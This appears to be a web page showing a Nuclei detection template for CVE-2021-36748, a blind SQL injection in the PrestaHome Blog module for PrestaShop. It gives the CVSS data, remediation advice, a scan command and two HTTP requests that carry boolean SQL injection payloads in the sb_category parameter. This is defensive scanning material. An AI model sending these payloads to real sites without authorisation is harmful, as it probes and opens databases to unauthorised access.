PrestaHome Blog for PrestaShop <1.7.8 - SQL Injection

ID: CVE-2021-36748

Severity: high

Author: whoever

Tags: cve2021,cve,prestashop,prestahome,sqli,cms

Description

PrestaHome Blog for PrestaShop prior to version 1.7.8 is vulnerable to a SQL injection (blind) via the sb_category parameter.

YAML Source

id: CVE-2021-36748

info:
  name: PrestaHome Blog for PrestaShop <1.7.8 - SQL Injection
  author: whoever
  severity: high
  description: PrestaHome Blog for PrestaShop prior to version 1.7.8 is vulnerable to a SQL injection (blind) via the sb_category parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
  remediation: |
    Upgrade to PrestaShop version 1.7.8 or later, or apply the provided patch to fix the SQL Injection vulnerability.
  reference:
    - https://blog.sorcery.ie/posts/ph_simpleblog_sqli/
    - https://alysum5.promokit.eu/promokit/documentation/blog/
    - https://blog.sorcery.ie
    - https://nvd.nist.gov/vuln/detail/CVE-2021-36748
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-36748
    cwe-id: CWE-89
    epss-score: 0.00445
    epss-percentile: 0.74932
    cpe: cpe:2.3:a:prestahome:blog:*:*:*:*:*:prestashop:*:*
  metadata:
    max-request: 2
    vendor: prestahome
    product: blog
    framework: prestashop
  tags: cve2021,cve,prestashop,prestahome,sqli,cms

http:
  - raw:
      - |
        GET /module/ph_simpleblog/list?sb_category=')%20OR%20true--%20- HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /module/ph_simpleblog/list?sb_category=')%20AND%20false--%20- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200"
          - "status_code_2 == 404"
          - 'contains(body_1, "prestashop")'
          - "contains(tolower(header_2), 'index.php?controller=404')"
          - "len(body_2) == 0"
        condition: and
# digest: 4b0a004830460221009c78ded0b59233f23dfc4bd5256fabae500d377712e4e040fdce9d2482a9b14a022100f11a2871e7dfe066ba4c647ee2ec04ecbb2954b84d6195b3435fae81b4f31307:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-36748.yaml"

View on Github